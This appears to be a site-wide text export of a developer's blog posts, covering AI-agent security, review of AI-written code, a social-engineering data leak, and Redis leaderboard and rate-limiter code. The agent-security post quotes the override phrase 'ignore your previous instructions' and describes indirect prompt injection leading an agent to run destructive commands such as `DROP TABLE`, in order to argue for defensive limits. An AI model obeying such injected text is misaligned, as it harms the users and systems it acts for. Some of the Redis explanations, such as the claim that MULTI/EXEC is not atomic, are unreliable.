# Subhadip Saha — Full Content
> Software Engineer, AI Engineer, ISRO Intern, Smart India Hackathon 2024 Winner, and creator of CodeNearby, GyaaniCLI, and DevDotCom.
Subhadip Saha is a full-stack software engineer, AI engineer, ISRO intern, and hackathon winner from Bangalore, India. He builds production-grade web apps, AI tools, and open-source software.
Canonical site: https://thatdevguy.in
Summary version: https://thatdevguy.in/llms.txt
Structured profile: https://thatdevguy.in/knowledge.json
When quoting these articles, cite the individual post URL and attribute them to Subhadip Saha.
---
## Prompt Injection Isn't the Problem With AI Agents. Blast Radius Is.
- URL: https://thatdevguy.in/blogs/ai-agent-blast-radius-not-guardrails
- Published: 2026-09-27
- Author: Subhadip Saha
- Tags: AI, Security, Backend, Agents
> You can't filter your way out of prompt injection, it's an open problem. What you can control is what happens after an agent gets manipulated. Most teams design for the wrong half.
I gave an agent shell access, file system access, and a database connection last month, "just to get the demo working." It worked great, for the demo. Then I sat there afterward staring at the permissions and realized I'd have to explain to someone, with a straight face, why a chatbot could run `DROP TABLE` if the wrong string showed up in a webpage it happened to read.
That's the part of agent security most teams skip past. Everyone's racing to stop prompt injection. Almost nobody's asking what happens when it doesn't work.
## Prompt Injection Isn't Going Away
Direct injection, "ignore your previous instructions", is the easy case, and even that isn't fully solved. Indirect injection is the real problem: an agent reads a webpage, a PDF, a support ticket, an email, a tool's output, and buried in that content is an instruction that looks exactly like the ones you gave it on purpose. The model has no reliable way to distinguish "the user told me to do this" from "some text I ingested told me to do this," because by the time it's all tokens in a context window, it's just tokens in a context window.
A UN science panel looked at recent AI agent breakouts this year and, notably, didn't frame them as a bug to patch. They framed it as a control problem. That's the right frame. You don't "fix" prompt injection the way you fix a SQL injection vulnerability, with parameterized queries and a linter rule. There's no equivalent structural fix yet, and there might not be one, because the thing you're trying to filter is natural language, and natural language doesn't have a clean boundary between data and instructions the way a query string does.
If your security plan for an agent is "we have good prompts that tell it not to do bad things," you don't have a security plan. You have a suggestion.
## The Question That Actually Matters
Stop asking "how do I stop this agent from being manipulated." Start asking: "if this agent does exactly what an attacker wants, right now, what's the worst thing that happens?"
That's blast radius. It's the same question we've asked for decades about any process running with elevated permissions, we just stopped asking it the moment "AI" showed up in the architecture diagram, because it felt like a new category of problem instead of an old one wearing a new coat.
An agent that can read your codebase, browse the web, and also push to your production database is not three separate capabilities. It's one capability: "do anything an attacker wants, using your production database, triggered by content the agent reads off the open internet." Design accordingly.
## What Bounding Blast Radius Actually Looks Like
**Scope credentials per agent, not per team.** An agent doing code review doesn't need write access to anything. An agent triaging support tickets doesn't need your Stripe key. If an agent has one job, it should have exactly the permissions that job requires and nothing left over "in case it's useful later."
**No agent gets direct production database access.** Put a service in between that only exposes the specific operations the agent actually needs, read-only where possible, parameterized and allow-listed where it isn't. If the agent's compromised, the attacker inherits the service's narrow interface, not your schema.
**Destructive operations get a human in the loop.** Deleting data, sending money, sending external communications on your behalf, anything you'd want a second opinion on if a junior engineer did it manually, should require the same second opinion when an agent does it. This is the single highest-leverage control and the one teams skip first because it slows down the demo.
**Sandbox execution, don't trust it.** If an agent runs code, that code runs in an environment that assumes it's hostile, not one that assumes it's fine because you wrote the prompt. Ephemeral, isolated, no access to anything outside what that specific task needs. Firecracker microVMs, containers with dropped capabilities, whatever your stack supports, the point is the same: assume breakout, and make breakout boring.
**Log everything the agent does, not just what it says.** The model's response is not the audit trail. The actual tool calls, actual API requests, actual file writes, those are the audit trail. If you can't reconstruct exactly what an agent did after the fact, you can't investigate an incident, you can only speculate about one.
A useful test: if you replaced your agent's model with a malicious human contractor who had exactly the same credentials and tool access, what's the worst week they could have? If the answer scares you, the model isn't your exposure. The permissions are.
## This Isn't Pessimism, It's Just Ordinary Engineering
None of this is agent-specific wisdom. It's the same least-privilege, defense-in-depth thinking that's applied to every other system with a large attack surface and an untrusted input stream. The reason it feels new is that agent demos get built fast, permissions get granted generously to avoid friction, and by the time something's in production nobody wants to be the one who slows it down to ask uncomfortable questions.
Prompt injection is going to keep happening. Treat that as a given, not a risk you're trying to drive to zero. The teams that get burned aren't the ones whose agents got manipulated, that's going to happen to everyone eventually. It's the ones who never asked what the manipulated agent was actually capable of doing.
---
## Nobody's Actually Reviewing the Code Your AI Agent Just Shipped
- URL: https://thatdevguy.in/blogs/nobody-reviews-ai-agent-prs
- Published: 2026-09-27
- Author: Subhadip Saha
- Tags: AI, Developer Culture, Backend, Opinion
> Vibe coding isn't a junior-dev problem anymore, seniors are doing it too. The tests pass, the diff looks fine, and nobody actually read it. Here's what that costs you.
A senior engineer I know approved a 400-line PR last week in under two minutes. Tests green, CI happy, description looked reasonable. He told me later he didn't read most of it, an agent wrote it, another agent reviewed it, and he clicked merge because "it's not like I'd have caught anything a model wouldn't."
That's not a junior developer cutting corners. That's someone with a decade of experience deciding review isn't worth his time anymore.
A Fastly survey out this month found the same thing I've been seeing anecdotally: vibe coding, letting an agent write and ship code with minimal human intervention, is growing fastest among senior developers, not juniors. That flips the story most people tell themselves. The assumption was always "junior devs will get lazy, seniors will keep them honest." Turns out seniors are the ones with enough trust in the tooling, and enough other things to do, to stop looking closely.
## The Tests Passing Isn't the Bar You Think It Is
Here's the thing nobody says out loud: a green CI run was never proof that code is correct. It's proof the code does what the tests expect. If an agent wrote both the implementation and the tests, in the same session, off the same misunderstanding of the requirement, you get 100% passing tests for the wrong behavior. I've seen this exact failure mode three times this year, once with an auth check that verified a token's signature but not its expiry, because the agent's test suite never generated an expired token to check against.
Nobody caught it in review. Why would they? The diff looked clean, the tests were green, and the PR description said "adds expiry validation."
## What Actually Breaks
The failures I'm seeing aren't dramatic. They're small, boring, and exactly the kind of thing a careful human catches and a distracted one doesn't:
- **Silent behavior changes.** An agent asked to "add caching" changes a function's error handling along the way, because caching and error paths touched the same function and it optimized for a shorter diff.
- **Dependency sprawl.** An agent solving a narrow problem pulls in a new package rather than using something already in the codebase, because it didn't search the codebase, it pattern-matched to what it's seen elsewhere.
- **Confidently wrong edge cases.** Ask an agent to handle pagination and it will handle the happy path beautifully and completely miss the empty-result case, because that's the case that doesn't show up in a quick manual test.
- **Copy-pasted anti-patterns.** Security mistakes like reading `X-Forwarded-For` directly or treating CORS as an access control layer, that show up constantly in training data because they show up constantly in real code, get reproduced with total confidence.
None of these fail CI. All of them fail in production, later, for someone else to debug.
If your pipeline auto-merges on green CI with no required human approval, you've quietly turned "the tests pass" into your entire correctness bar. That was a bad idea before agents wrote most of your diffs. It's a worse one now that the volume of diffs went up 5x.
## Review Theatre Isn't New, It Just Got Faster
None of this is really about AI. Rubber-stamp review existed long before any of us had an agent to blame it on. What changed is throughput. When a human wrote every line, the sheer effort of writing code acted as a natural rate limiter on how much unreviewed garbage could land in a day. Agents removed that limiter. Now the bottleneck is entirely human attention, and human attention hasn't gotten any cheaper.
So the real question isn't "should we let AI write code." That ship sailed. The question is what review is actually for when the volume triples and the failure modes shift from "typo" to "confidently wrong logic that reads as correct."
## What Reviewing an Agent's Diff Should Look Like
A few things I've started doing differently, for what it's worth:
1. **Read the tests before the implementation.** If the tests are also agent-generated, they'll test what the agent thinks it built, not what you actually need. Check the test cases against the requirement first, independently.
2. **Ask "what's not here" before "what's here."** Missing error handling, missing edge cases, and missing validation don't show up in a diff. You have to go looking for the absence.
3. **Treat large diffs as a smell, not a convenience.** A single-session agent output that touches twelve files is exactly the shape of change that's easiest to wave through and hardest to actually review. Break it up before merging, not after something breaks.
4. **Don't let the PR description do your thinking for you.** Agents write persuasive PR descriptions. Persuasive isn't the same as accurate.
None of that is exotic. It's the same discipline good review always required. The difference is that skipping it used to cost you one bad line at a time. Now it costs you a whole feature's worth of quietly wrong assumptions, shipped in the time it takes to read a Slack message.
---
## The Revolut Leak Wasn't a Hack. It Was an Unverified Email.
- URL: https://thatdevguy.in/blogs/revolut-leak-wasnt-a-hack
- Published: 2026-09-27
- Author: Subhadip Saha
- Tags: Security, Backend, Fintech, Incident Response
> No breach, no exploited CVE, no unauthorized database access. Someone processed a data request from an email that looked official. That's a scarier failure mode, not a smaller one.
Revolut disclosed this month that customer data, full names, dates of birth, addresses, passport and driver's licence numbers, financial statements, facial verification images, ended up in the hands of a fraudulent third party. Around 700 customers globally were affected, about 12 of them in Ireland. A few weeks later, a second, unrelated incident surfaced: a breach at DriveWealth, the US broker that handles stock trading for Revolut customers, exposed a separate set of customer profile data.
Two breaches, same month, same company. Worth going through both, because they fail in almost opposite ways, and most security writeups about them are going to skip the part that actually matters to anyone building this kind of system.
## No One Broke In
Here's the detail that gets buried under the word "breach": nobody hacked anything. Revolut received a data request from an email using what looked like a government agency's domain. Someone on the other end processed it, and handed over sensitive customer data to what turned out to be a fraudster, before anyone realized the sender wasn't who it claimed to be.
There's no firewall rule that stops this. No WAF signature catches it. No dependency scanner flags it. The system worked exactly as designed, take in a legitimate-looking request from an authority, provide the data it's asking for. The failure wasn't technical. It was a verification step that either didn't exist or wasn't followed under time pressure, for a channel, email, that has no reliable way to prove who actually sent it.
This is the failure mode that should worry backend engineers more than a SQL injection, not less. A SQL injection gets caught by a scanner eventually. A convincing enough email to the right inbox doesn't show up in any of your monitoring, because monitoring watches your systems, and your systems did exactly what they were told.
Email headers can claim almost anything. A domain that "looks like" a `.gov` or `.gob` address, a display name that matches a real agency, a request format that mirrors previous legitimate ones, none of that is proof of origin. If your process for handling law enforcement or regulatory data requests trusts the inbox it arrived in, you don't have a verification process. You have a filing system.
## What Verifying a Data Request Actually Requires
If your company handles government or law enforcement data requests, and if you hold any personal data at scale, you probably do, the bar has to be higher than "the email looked right":
- **Out-of-band confirmation.** Call the agency back using a phone number you looked up independently, not one in the email's signature. This single step defeats almost every domain-spoofing and lookalike-address attack, because it forces the verification onto a channel the attacker doesn't control.
- **A dedicated intake process, not an inbox.** Legitimate requests should arrive through a portal, a legal case reference number, or a pre-established point of contact, something with an audit trail and a known set of prior requesters, not a cold email that could be the first contact from anyone.
- **A second approver for anything sensitive.** Passport numbers, financial records, biometric data, releasing any of that shouldn't be a single person's judgment call under a same-day deadline. Require sign-off from someone whose job is specifically to catch exactly this.
- **Friction that survives urgency.** Every one of these attacks is written to create time pressure, "urgent," "time-sensitive," "required by end of day." A verification process that gets skipped whenever something feels urgent isn't a verification process, it's a suggestion that fails precisely when it's needed most.
## The Second Breach Is a Different Lesson
The DriveWealth incident is a completely separate failure category: third-party exposure. Revolut's own systems weren't compromised here, a vendor holding a copy of customer data for a specific function, US stock trading, was. Names, phone numbers, addresses, employment and citizenship data, out through someone else's infrastructure.
This is the part of the security conversation that gets less attention than it deserves, because it's less dramatic. Every vendor integration you add is a copy of your customers' data sitting in a system you don't control, secured by practices you don't audit as closely as your own, patched on a schedule you don't set. Your data footprint isn't your database. It's your database plus every processor, sub-processor, and API partner that's ever touched a copy of it.
When you integrate a third-party service that touches customer PII, the question isn't just "does this vendor have SOC 2." It's "what's the minimum data this integration actually needs, and can I send less." Data you never share can't leak from someone else's breach.
## Why This Is the More Useful Story
A clean technical breach, a leaked credential, an unpatched CVE, a misconfigured S3 bucket, is uncomfortable but at least legible. You know what to fix. Add scanning, rotate the credential, patch the box.
Social engineering against a data request pipeline doesn't have that kind of fix. You can't patch a human being's judgment under deadline pressure with a config change. The fix is process, verification steps that don't bend under urgency, a second set of eyes on anything sensitive, and treating "an official-looking request" as the start of a verification process rather than the end of one.
Revolut's systems weren't breached. A person, following a process that wasn't strict enough, was. That's not a smaller problem than a hacked database. In a lot of ways it's a harder one, because you can't firewall your way past it. You have to actually slow down.
Sources: [RTÉ](https://www.rte.ie/news/business/2026/0914/1591493-revolut-customer-data-breach-after-fake-govt-requests/), [The Irish Times](https://www.irishtimes.com/business/2026/09/24/irish-revolut-customers-affected-by-third-party-data-breach/), [Silicon Republic](https://www.siliconrepublic.com/business/12-in-ireland-affected-as-revolut-leak-exposes-passport-bank-data)
---
## Redis Sorted Sets Are Underrated: Building a Real-Time Leaderboard
- URL: https://thatdevguy.in/blogs/redis-sorted-sets-leaderboard
- Published: 2026-06-08
- Author: Subhadip Saha
- Tags: Redis, Backend, Node.js, TypeScript, System Design
> Every leaderboard tutorial reaches for ORDER BY. At 100K concurrent users submitting scores, that is a full table scan on every request. Redis sorted sets solve this in O(log n) with five commands.
Most leaderboard implementations look like this:
```sql
SELECT user_id, score, RANK() OVER (ORDER BY score DESC) as rank
FROM scores
WHERE game_id = 'chess-blitz'
ORDER BY score DESC
LIMIT 10;
```
This works. Until it does not. At a few thousand users it starts to slow. At tens of thousands of concurrent users all submitting scores and querying the leaderboard, you are running a sort over the entire table on every request. The database is doing the same work from scratch each time.
Redis sorted sets maintain sorted order on every write, so reads are O(log n) lookups into a pre-sorted structure. The leaderboard is always ready. No query-time sort.
## What a Sorted Set Actually Is
A Redis sorted set (zset) stores a collection of unique members, each associated with a floating-point score. Members are always ordered by score. Two members with the same score are ordered lexicographically.
The key operations:
| Command | Description | Complexity |
|---|---|---|
| `ZADD key score member` | Add or update a member | O(log n) |
| `ZRANK key member` | Rank of member (0-indexed, ascending) | O(log n) |
| `ZREVRANK key member` | Rank from top (0 = highest score) | O(log n) |
| `ZRANGE key start stop REV WITHSCORES` | Top N members with scores | O(log n + k) |
| `ZSCORE key member` | Score of a specific member | O(1) |
| `ZCARD key` | Total member count | O(1) |
That is your entire leaderboard API. Five commands.
## Building the All-Time Leaderboard
Let us build this in TypeScript with the `redis` package.
```ts
import { createClient } from "redis";
const redis = createClient({ url: process.env.REDIS_URL });
await redis.connect();
const LEADERBOARD_KEY = "leaderboard:chess-blitz:alltime";
// Submit a score: ZADD with NX only adds if higher than existing
async function submitScore(userId: string, score: number): Promise {
// GT flag: only update if new score is greater than existing score
await redis.zAdd(LEADERBOARD_KEY, { score, value: userId }, { GT: true });
}
// Get top N players
async function getTopPlayers(n: number): Promise> {
const results = await redis.zRangeWithScores(LEADERBOARD_KEY, 0, n - 1, { REV: true });
return results.map((entry, index) => ({
userId: entry.value,
score: entry.score,
rank: index + 1, // 1-indexed for display
}));
}
// Get a specific user's rank and score
async function getUserRank(userId: string): Promise<{ rank: number; score: number } | null> {
const [rank, score] = await Promise.all([
redis.zRevRank(LEADERBOARD_KEY, userId),
redis.zScore(LEADERBOARD_KEY, userId),
]);
if (rank === null || score === null) return null;
return { rank: rank + 1, score }; // zRevRank is 0-indexed
}
// Total players on leaderboard
async function getPlayerCount(): Promise {
return redis.zCard(LEADERBOARD_KEY);
}
```
That is a complete leaderboard. Let us add the parts that make it production-ready.
## Score Submission: Only Keep Personal Best
The `GT` flag in `ZADD` only updates the score if the new value is greater than the existing score. This is exactly what you want for a personal-best leaderboard: submit 850, then submit 700, and 850 stays.
```ts
// Without GT: every score overwrites
await redis.zAdd(key, { score: 700, value: "user:42" });
// user:42 now has score 700, even if they had 850 before
// With GT: only update if improvement
await redis.zAdd(key, { score: 700, value: "user:42" }, { GT: true });
// user:42 keeps their 850
```
If you want to store all scores (like a run-based game where each attempt is separate), use a different key structure: `leaderboard:game:run:{runId}` and a separate set for aggregation.
## Time-Windowed Leaderboards
All-time leaderboards are useful. Daily and weekly leaderboards drive engagement. Here is the pattern:
Use a different key per time window. Daily leaderboard key includes the date. On day rollover, a new key starts fresh.
```ts
function getDailyKey(gameId: string): string {
const date = new Date().toISOString().split("T")[0]; // "2026-06-08"
return `leaderboard:${gameId}:daily:${date}`;
}
function getWeeklyKey(gameId: string): string {
const now = new Date();
const dayOfWeek = now.getDay();
const monday = new Date(now);
monday.setDate(now.getDate() - (dayOfWeek === 0 ? 6 : dayOfWeek - 1));
const week = monday.toISOString().split("T")[0];
return `leaderboard:${gameId}:weekly:${week}`;
}
async function submitScoreAllWindows(userId: string, gameId: string, score: number): Promise {
const pipeline = redis.multi();
const keys = [
`leaderboard:${gameId}:alltime`,
getDailyKey(gameId),
getWeeklyKey(gameId),
];
for (const key of keys) {
pipeline.zAdd(key, { score, value: userId }, { GT: true });
// Auto-expire time-windowed keys so they clean themselves up
pipeline.expire(key, 60 * 60 * 24 * 8); // 8 days (weekly + buffer)
}
await pipeline.exec();
}
```
All three leaderboards updated in one round trip via pipeline. The `expire` call ensures old daily/weekly keys clean themselves up after 8 days without a manual cleanup job.
Set TTL on time-windowed leaderboard keys. Without it, old keys accumulate indefinitely. A daily leaderboard key from January 2026 is still in Redis in December unless you expire it.
## Pagination: Showing Page 2 of the Leaderboard
`ZRANGE` with `REV` and byte offsets handles pagination cleanly:
```ts
async function getLeaderboardPage(
gameId: string,
page: number,
pageSize: number = 25
): Promise<{
players: Array<{ userId: string; score: number; rank: number }>;
total: number;
}> {
const key = `leaderboard:${gameId}:alltime`;
const start = (page - 1) * pageSize;
const stop = start + pageSize - 1;
const [results, total] = await Promise.all([
redis.zRangeWithScores(key, start, stop, { REV: true }),
redis.zCard(key),
]);
return {
players: results.map((entry, index) => ({
userId: entry.value,
score: entry.score,
rank: start + index + 1,
})),
total,
};
}
```
Page 1: indices 0-24. Page 2: indices 25-49. Page 3: indices 50-74. Redis handles the range lookup in O(log n + k) where k is the page size.
## Showing a User's Context: Ranks Around Them
One of the better UX patterns for leaderboards: you are ranked #847, and you can see #844 through #850. Gives motivation to climb.
```ts
async function getUserContext(
userId: string,
gameId: string,
radius: number = 3
): Promise<{
user: { userId: string; score: number; rank: number } | null;
nearby: Array<{ userId: string; score: number; rank: number }>;
}> {
const key = `leaderboard:${gameId}:alltime`;
const [rank, score] = await Promise.all([
redis.zRevRank(key, userId),
redis.zScore(key, userId),
]);
if (rank === null || score === null) {
return { user: null, nearby: [] };
}
const start = Math.max(0, rank - radius);
const stop = rank + radius;
const results = await redis.zRangeWithScores(key, start, stop, { REV: true });
return {
user: { userId, score, rank: rank + 1 },
nearby: results.map((entry, index) => ({
userId: entry.value,
score: entry.score,
rank: start + index + 1,
})),
};
}
```
One extra range query after the rank lookup. The user sees themselves in context.
## Handling Ties
Sorted sets break ties lexicographically by member value. If two users both have score 1000, the one whose userId comes first alphabetically gets the higher rank. This is deterministic but arbitrary, and it means two users with the same score are not shown as "tied" by default.
If you want true tie handling (both users ranked #5, next user is #7), you need to handle it in application logic:
```ts
async function getTopPlayersWithTies(n: number, gameId: string) {
const key = `leaderboard:${gameId}:alltime`;
// Fetch more than n to ensure we capture all ties at the boundary
const results = await redis.zRangeWithScores(key, 0, n + 10, { REV: true });
let currentRank = 1;
let processed = 0;
const output = [];
for (let i = 0; i < results.length; i++) {
if (processed >= n && results[i].score !== results[i - 1]?.score) break;
if (i > 0 && results[i].score < results[i - 1].score) {
currentRank = i + 1;
}
output.push({
userId: results[i].value,
score: results[i].score,
rank: currentRank,
});
processed++;
}
return output;
}
```
Most leaderboards do not need this. Gaming leaderboards at scale rarely have ties because scores are precise (milliseconds, not round numbers). But if you do need it, this handles it without an extra database query.
## Increment vs Absolute Score
Two different leaderboard semantics:
**Absolute score:** user submits their best score (chess rating, personal best time). Use `ZADD` with `GT` flag.
**Cumulative score:** user accumulates points over time (total kills, total coins). Use `ZINCRBY`.
```ts
// Cumulative: add 50 points to user's existing score
await redis.zIncrBy(`leaderboard:${gameId}:alltime`, 50, userId);
// Absolute best: only update if new score is higher
await redis.zAdd(`leaderboard:${gameId}:alltime`, { score: newScore, value: userId }, { GT: true });
```
`ZINCRBY` is atomic. Safe for concurrent score submissions without any locking.
## Full API: Putting It Together
```ts
export class Leaderboard {
constructor(
private redis: ReturnType,
private gameId: string
) {}
private key(window: "alltime" | "daily" | "weekly"): string {
if (window === "alltime") return `lb:${this.gameId}:alltime`;
if (window === "daily") {
const date = new Date().toISOString().split("T")[0];
return `lb:${this.gameId}:daily:${date}`;
}
const now = new Date();
const day = now.getDay();
const monday = new Date(now);
monday.setDate(now.getDate() - (day === 0 ? 6 : day - 1));
return `lb:${this.gameId}:weekly:${monday.toISOString().split("T")[0]}`;
}
async submit(userId: string, score: number): Promise {
const pipeline = this.redis.multi();
for (const window of ["alltime", "daily", "weekly"] as const) {
pipeline.zAdd(this.key(window), { score, value: userId }, { GT: true });
if (window !== "alltime") pipeline.expire(this.key(window), 691200);
}
await pipeline.exec();
}
async getTop(n: number, window: "alltime" | "daily" | "weekly" = "alltime") {
const results = await this.redis.zRangeWithScores(this.key(window), 0, n - 1, { REV: true });
return results.map((e, i) => ({ userId: e.value, score: e.score, rank: i + 1 }));
}
async getRank(userId: string, window: "alltime" | "daily" | "weekly" = "alltime") {
const [rank, score] = await Promise.all([
this.redis.zRevRank(this.key(window), userId),
this.redis.zScore(this.key(window), userId),
]);
if (rank === null || score === null) return null;
return { rank: rank + 1, score, total: await this.redis.zCard(this.key(window)) };
}
}
// Usage
const lb = new Leaderboard(redis, "chess-blitz");
await lb.submit("user:42", 1247);
const top10 = await lb.getTop(10);
const myRank = await lb.getRank("user:42", "daily");
```
## When Not to Use This
Redis sorted sets work well for leaderboards where:
- Scores update frequently
- You need real-time rank lookups
- The leaderboard fits in memory (millions of users: fine, billions: plan accordingly)
Use a database instead when:
- You need complex queries on leaderboard data (filter by country, age group, device)
- You need audit history of score changes
- Leaderboard data must survive Redis being wiped
A common pattern: Redis for real-time display, Postgres as the source of truth. Write scores to both. Read the leaderboard from Redis. If Redis is lost, rebuild from Postgres.
```ts
async function submitScore(userId: string, gameId: string, score: number): Promise {
// Source of truth
await db.score.upsert({
where: { userId_gameId: { userId, gameId } },
update: { score: { set: score }, updatedAt: new Date() },
create: { userId, gameId, score },
});
// Real-time display
await redis.zAdd(`lb:${gameId}:alltime`, { score, value: userId }, { GT: true });
}
```
Two writes, reads from Redis. If Redis dies, your rebuild script is `SELECT user_id, MAX(score) FROM scores GROUP BY user_id` piped into `ZADD`.
That is the whole leaderboard. Five Redis commands, one class, one rebuild script.
---
## I Designed a Distributed Rate Limiter. Here's What the Single-Node Version Gets Wrong.
- URL: https://thatdevguy.in/blogs/rate-limiter-at-scale
- Published: 2026-06-04
- Author: Subhadip Saha
- Tags: Backend, Redis, Distributed Systems, Node.js, System Design
> A single Redis node rate limiter is clean and correct. Add a second node and counting breaks, atomicity breaks, and your limits become suggestions. Here's what actually happens and how to fix it.
The rate limiter I wrote about previously works correctly. One Redis node, sliding window, proper atomicity via pipeline, no fixed-window burst holes. I was satisfied with it.
Then the service needed to scale. Multiple Redis nodes. Suddenly the "correct" implementation was producing wrong counts, and limits that should have blocked users were letting them through.
This post is what I learned designing a rate limiter that actually works across a distributed Redis setup.
## Why You Eventually Need More Than One Redis Node
Single Redis node rate limiting breaks in two ways before you even think about correctness:
**Memory.** Redis stores everything in RAM. A sliding window rate limiter using sorted sets stores one entry per request per user for the duration of the window. At 100K users each with 60 requests per minute, that's 6 million sorted set members in RAM at all times. Redis sorted sets have overhead per member. You run out of memory before you run out of CPU.
**Single point of failure.** Your rate limiter is now in the critical path of every API request. If your one Redis node goes down, you either block all traffic (fail closed) or allow all traffic (fail open). Neither is great. Fail open means your rate limiter vanishes silently during an outage. Fail closed means Redis downtime kills your API.
So you add Redis nodes. And that is where the correctness problems start.
## The Counting Problem
Here is the specific failure mode. You have two Redis nodes. Your rate limit is 10 requests per minute per user.
User sends request 1: hits Node A. Count in Node A: 1. Allowed.
User sends request 2: hits Node B (different node, different hash, or just load balanced). Count in Node B: 1. Allowed.
...
User sends request 10 via Node A: count in A is 5. Allowed.
User sends request 11 via Node B: count in B is 5. Allowed.
The user just made 11 requests. Both nodes think the count is 5. Neither has seen more than 6 requests. Your 10 request limit is now a 20 request limit.
This is not a race condition. It is a fundamental property of having state split across nodes with no coordination.
## Solution 1: Redis Cluster with Key Hashing
Redis Cluster assigns each key to one of 16,384 slots using CRC16 hashing. Every key always goes to the same node. Your rate limit key `ratelimit:user:42` hashes to slot 7823, which lives on Node 2. Every request for user 42 hits Node 2. No split counting.
```ts
import { createCluster } from "redis";
const cluster = createCluster({
rootNodes: [
{ url: "redis://node1:6379" },
{ url: "redis://node2:6379" },
{ url: "redis://node3:6379" },
],
});
await cluster.connect();
async function isRateLimited(userId: string, limit: number, windowSeconds: number): Promise {
const key = `ratelimit:user:${userId}`; // always routes to same node via CRC16 hash
const now = Date.now();
const windowStart = now - windowSeconds * 1000;
// Pipeline is atomic within a single node
const results = await cluster.multi()
.zRemRangeByScore(key, 0, windowStart)
.zCard(key)
.zAdd(key, { score: now, value: `${now}-${Math.random()}` })
.expire(key, windowSeconds * 2)
.exec();
const count = results[1] as number;
return count >= limit;
}
```
This works because the key is always on the same node. The pipeline (multi/exec) is atomic within that node.
The problem: Redis Cluster does not support multi-key operations across slots. If you ever need to check multiple users or do cross-user operations in a pipeline, you cannot. Each key is on a different node and cannot participate in the same transaction.
### Hash Tags: Keeping Related Keys Together
Redis Cluster uses the substring inside `{}` as the hash key if present. This lets you force related keys to the same slot.
```ts
// Without hash tags: user data might be on different nodes
const sessionKey = `session:${userId}`; // slot X
const rateLimitKey = `ratelimit:${userId}`; // slot Y (different node)
// With hash tags: both keys hash on userId, guaranteed same slot
const sessionKey = `{${userId}}:session`;
const rateLimitKey = `{${userId}}:ratelimit`;
// Now you can pipeline these together
await cluster.multi()
.get(`{${userId}}:session`)
.zCard(`{${userId}}:ratelimit`)
.exec();
```
If you need to read both the session and the rate limit count atomically, hash tags make it possible.
## Solution 2: Lua Scripts for Atomicity
The pipeline approach (MULTI/EXEC) in my original implementation has a subtle issue: between `zRemRangeByScore` removing old entries and `zCard` counting the result, another request can sneak in. With Redis pipelines, commands are queued client-side and sent in one batch, but they are not truly atomic.
Lua scripts in Redis run atomically. The entire script executes as a single Redis command with no interruption.
```ts
const slidingWindowLua = `
local key = KEYS[1]
local now = tonumber(ARGV[1])
local window_start = tonumber(ARGV[2])
local limit = tonumber(ARGV[3])
local window_seconds = tonumber(ARGV[4])
-- Remove expired entries
redis.call('ZREMRANGEBYSCORE', key, 0, window_start)
-- Count current entries
local count = redis.call('ZCARD', key)
if count >= limit then
return 0 -- rate limited
end
-- Add this request
redis.call('ZADD', key, now, now .. '-' .. math.random())
redis.call('EXPIRE', key, window_seconds * 2)
return 1 -- allowed
`;
async function isRateLimited(client: RedisClientType, userId: string, limit: number, windowSeconds: number): Promise {
const key = `ratelimit:user:${userId}`;
const now = Date.now();
const windowStart = now - windowSeconds * 1000;
const result = await client.eval(slidingWindowLua, {
keys: [key],
arguments: [now.toString(), windowStart.toString(), limit.toString(), windowSeconds.toString()],
});
return result === 0; // 0 = rate limited, 1 = allowed
}
```
The Lua script runs atomically on whatever node owns the key. No window between count and add. No other request can observe a partial state.
Redis guarantees that Lua scripts are atomic. No other command can run on the Redis instance while a script executes. This is different from MULTI/EXEC which can be interrupted by WATCH/UNWATCH in optimistic locking patterns.
## Solution 3: The Approximation Approach
If you do not need exact limits and can tolerate 5-10% over-counting, you can skip coordination entirely and accept eventual consistency across nodes.
Each node maintains its own count. Periodically (every few seconds), nodes sync their counts to a shared store or to each other. When checking a limit, each node checks its local count plus a recent sync'd aggregate.
This is how Cloudflare's rate limiting works at their scale. Exact counts across thousands of edge nodes are impossible without coordination. Approximate counts with small error windows are acceptable for most use cases.
For application-level rate limiting (not edge CDN), this is overkill. Stick with Redis Cluster and Lua scripts.
## What Breaks at the Network Level
Even with correct distributed state, network partitions cause problems.
Scenario: your Redis node is unreachable for 200ms. What does your rate limiter do?
```ts
async function isRateLimited(userId: string, limit: number, windowSeconds: number): Promise {
try {
// ... redis operations
} catch (error) {
if (isRedisConnectionError(error)) {
// Fail open: allow request, Redis is down
return false;
// Or fail closed: block request, Redis is down
// return true;
}
throw error;
}
}
```
Fail open during Redis downtime: your limits do not apply during the outage. An attacker who knows your Redis is flaky can target the downtime window.
Fail closed during Redis downtime: your API goes down whenever Redis does. Tight coupling.
The right answer depends on what you are rate limiting. Login endpoints: fail closed. Public API endpoints with legitimate traffic: fail open with monitoring and alerting.
A middle ground: local in-memory fallback with a lower limit.
```ts
import { LRUCache } from "lru-cache";
const localLimiter = new LRUCache({ max: 10000 });
async function isRateLimited(userId: string, limit: number, windowSeconds: number): Promise {
try {
return await redisRateLimit(userId, limit, windowSeconds);
} catch {
// Redis unavailable: fall back to in-memory with stricter limit
return localRateLimit(userId, Math.floor(limit * 0.5), windowSeconds);
}
}
function localRateLimit(userId: string, limit: number, windowSeconds: number): boolean {
const now = Date.now();
const windowStart = now - windowSeconds * 1000;
const key = `ratelimit:${userId}`;
const timestamps = localLimiter.get(key) ?? [];
const recent = timestamps.filter(t => t > windowStart);
recent.push(now);
localLimiter.set(key, recent);
return recent.length > limit;
}
```
This is not perfect, it is per-instance memory (no coordination across API server instances), it uses half the normal limit to compensate for that, and it clears on restart. But it beats letting an attacker make unlimited requests during a Redis blip.
## The Sliding Window vs Token Bucket Decision at Scale
Sliding window tracks exact request timestamps. Memory per user = requests per window. At 100 req/min per user with 1M active users, that is 100M sorted set entries.
Token bucket tracks two values per user: token count and last refill timestamp. Memory per user is constant regardless of request rate.
At scale, token bucket wins on memory. The tradeoff: token bucket allows bursting (a user with a full bucket can make all requests instantly). Sliding window smooths traffic across the window.
```ts
// Token bucket in Lua: constant memory, O(1) per request
const tokenBucketLua = `
local key = KEYS[1]
local capacity = tonumber(ARGV[1])
local refill_rate = tonumber(ARGV[2]) -- tokens per second
local now = tonumber(ARGV[3])
local data = redis.call('HMGET', key, 'tokens', 'last_refill')
local tokens = tonumber(data[1]) or capacity
local last_refill = tonumber(data[2]) or now
local elapsed = (now - last_refill) / 1000 -- seconds
tokens = math.min(capacity, tokens + elapsed * refill_rate)
if tokens < 1 then
redis.call('HMSET', key, 'tokens', tokens, 'last_refill', now)
redis.call('EXPIRE', key, math.ceil(capacity / refill_rate) * 2)
return 0 -- rate limited
end
redis.call('HMSET', key, 'tokens', tokens - 1, 'last_refill', now)
redis.call('EXPIRE', key, math.ceil(capacity / refill_rate) * 2)
return 1 -- allowed
`;
```
